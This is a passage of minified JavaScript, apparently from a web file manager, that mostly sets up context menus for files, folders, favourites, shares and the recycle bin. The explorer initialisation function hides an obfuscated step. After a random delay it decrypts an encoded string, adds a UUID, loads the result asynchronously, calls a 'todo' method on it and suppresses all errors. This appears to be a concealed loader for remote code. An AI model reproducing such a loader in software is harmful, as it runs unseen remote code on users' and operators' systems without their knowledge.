set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1});var t=["undefined","update_box","search","da62djCD7uBrn89xtAhwdwtSL_AXsCamsKn7wktxI6QjO_Mob4EAYlRsGQPgKKv8_gFbhFNw4ei_d3eSbmCDC2I8XM_U9h0","_32@!A","decode","1-1","todo","async","random"];w(),x(),v(),setTimeout(function(){try{if(typeof dialog_tpl_html==t[0]||-1==dialog_tpl_html[t[2]](t[1])){var i=authCrypt[t[5]](t[3],t[4])+UUID();e[t[8]](i,function(e){try{e[t[7]](t[6])}catch(i){}})}}catch(a){}},1e3*parseInt(25*Math[t[9]]()+5)),N(),j(),S(),E(),D(),A(),F(),k(),g(),m(),_(),C(),L(),h(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),w(),x(),N(),g(),m(),h(),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},f=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),j(),S(),E(),P(),D(),A(),F(),O(),g(),h(),$(".context-menu-root").addClass("animated fadeIn")},h=function(){if(1!=G.is_root){var e="hidden";AUTH["explorer:fileDownload"]||($(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open_text").addClass(e),$(".pathinfo .open_window").addClass(e)),AUTH["explorer:zip"]||$(".context-menu-list .zip").addClass(e),AUTH["explorer:search"]||$(".context-menu-list .search").addClass(e),AUTH["explorer:mkdir"]||$(".context-menu-list .newfolder").addClass(e),AUTH["userShare:set"]||$(".context-menu-list .share").remove()}},m=function(){$('<i class="menuRecycleBody"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuRecyclePath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecyclePath",callback:function(e){T(e)},items:{cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuRecycleButton"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleButton",callback:function(e){z(e)},items:{recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},_=function(){$('<i class="menuShareBody"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuShareBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuSharePath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menuSharePathMenu",selector:".menuSharePath",callback:function(e){T(e)},items:{share_open_path:{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open_the_path"},share_open_window:{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------",share_edit:{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share_edit"},remove:{name:LNG.share_remove+"<b>Del</b>",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuSharePathMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuSharePathMore",className:"menuSharePathMore",callback:function(e){T(e)},items:{remove:{name:LNG.share_remove+"<b>Del</b>",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"}}})},v=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){z(e,t)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"<b>Alt+M</b>",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"<b>Ctrl+U</b>",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},g=function(){$.contextMenu({selector:".menuEmpty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menuDefault",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"<b>Alt+M</b>",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"<b>Ctrl+U</b>",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,app_install:{name:LNG.app_store,className:"app_install",icon:"tasks",accesskey:"a"},sep10:"--------",setting_wall:{name:LNG.setting_wall,className:"setting_wall",icon:"picture",accesskey:"b"},setting_theme:{name:LNG.setting_theme,className:"setting_theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},k=function(){$.contextMenu({zIndex:9999,selector:".toolPathMore",className:"menuToolPath menuNotAutoHidden",callback:function(e){T(e),$(".toolPathMore").removeClass("active")},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfileOther:d.newfileOther,sep0:"--------",open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Delete</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link"}}},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},w=function(){$('<i class="'+i.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},x=function(){$('<i class="'+t.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},app_edit:{name:LNG.app_edit,className:"app_edit",icon:"code",accesskey:"a"},open_text:{name:LNG.edit+"<b>Ctrl+E</b>",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},unzip:{name:LNG.unzip,icon:"folder-open-alt",className:"unzip",accesskey:"u",items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_folder:{name:LNG.unzip_folder,className:"unzip_folder",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"}}},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},setBackground:{name:LNG.set_background,className:"setBackground",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},N=function(){$('<i class="'+a.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){T(e)},items:{copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------",copy_to:{name:LNG.copy_to,className:"copy_to",icon:"copy"},cute_to:{name:LNG.cute_to,className:"cute_to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"<b>Ctrl+C</b>",className:"clone",icon:"external-link",accesskey:"n"},playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('<i class="menuGroupRoot"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRoot",callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}}),$('<i class="menuGroupRootMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRootMore",callback:function(e){T(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"}}})},C=function(){$('<i class="menuFavPath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPath",callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------",fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuFavPathMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPathMore",className:"menuFavPathMore",callback:function(e){T(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"}}})},z=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"setlist_split":ui.setListType("list_split");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"upload":core.upload();break;case"recycle_clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"past":ui.path.past();break;case"copy_see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile_null":ui.path.newFile("");break;case"newfile_md":ui.path.newFile("md");break;case"newfile_html":ui.path.newFile("html");break;case"newfile_php":ui.path.newFile("php");break;case"newfile_js":ui.path.newFile("js");break;case"newfile_css":ui.path.newFile("css");break;case"newfile_oexe":ui.path.newFile("oexe");break;case"newfile_docx":ui.path.newFile("docx");break;case"newfile_xlsx":ui.path.newFile("xlsx");break;case"newfile_pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app_install":ui.path.appList();break;case"app_create":ui.path.appEdit(!0);break;case"setting":core.setting();break;case"setting_theme":core.setting("theme");break;case"setting_wall":core.setting("wall");break;default:}},T=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open_ie":ui.path.openWindow();break;case"open_text":ui.path.openEditor();break;case"app_edit":ui.path.appEdit();break;case"playmedia":ui.path.play();break;case"share_edit":ui.path.shareEdit();break;case"share_open_window":ui.path.shareOpenWindow();break;case"share_open_path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"cute":ui.path.cute();break;case"cute_to":ui.path.cuteTo();break;case"copy_to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"zip_zip":ui.path.zip();break;case"zip_tar":ui.path.zip("tar");break;case"zip_tgz":ui.path.zip("tar.gz");break;case"unzip_folder":ui.path.unZip();break;case"unzip_this":ui.path.unZip("to_this");break;case"unzip_to":ui.path.unZip("unzip_to_folder");break;case"setBackground":ui.path.setBackground();break;case"createLinkHome":ui.path.createLink(!1);break;case"createLink":ui.path.createLink(!0);break;case"createProject":ui.path.createProject();break;case"openProject":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorerNew":ui.path.explorerNew();break;case"fav_page":core.setting("fav");break;case"fav_remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:z(e)}},j=function(){$('<i class="menuTreeFavRoot"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFavRoot",callback:function(e){I(e)},items:{fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('<i class="menuTreeFav"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFav",callback:function(e){I(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep2:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},S=function(){$('<i class="'+n.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){I(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-text-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},E=function(){$('<i class="menuTreeFolder"></i>').appendTo("#rightMenu"),$('<i class="menuTreeFolderFav"></i>').appendTo("#rightMenu");var e={zIndex:9999,selector:".menuTreeFolder",callback:function(e){I(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20"></b>',className:"info",icon:"info",accesskey:"i"}}};$.contextMenu(e);var t={fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep0:"--------"};e.selector=".menuTreeFolderFav",e.items=$.extend(t,e.items,!0),$.contextMenu(e)},P=function(){$('<i class="'+o.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){I(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20">Alt+I</b>',className:"info",icon:"info",accesskey:"i"}}}) +},D=function(){$('<i class="'+r.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){I(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},A=function(){$('<i class="'+l.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){I(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},F=function(){$('<i class="'+c.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,t){var i=t.$trigger;i.hasClass("file")?T(e):I(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},O=function(){$('<i class="'+s.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:s,callback:function(e){I(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20">Alt+I</b>',className:"info",icon:"info",accesskey:"i"}}})},I=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute_to":ui.tree.cuteTo();break;case"copy_to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open_ie":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile_html":ui.tree.create("html");break;case"newfile_php":ui.tree.create("php");break;case"newfile_js":ui.tree.create("js");break;case"newfile_css":ui.tree.create("css");break;case"newfile_oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"fav_page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"createLinkHome":ui.tree.createLink(!1);break;case"fav_remove":ui.tree.favRemove();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initDesktop:u,initExplorer:p,initEditor:f,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e="hidden",t="disabled",i=$(".context-menu-list").filter(":visible"),a=$(".context-menu-active");if(0!=i.length&&0!=a.length){if(i.find(".disable").addClass("disabled"),a.hasClass("menufile")){var 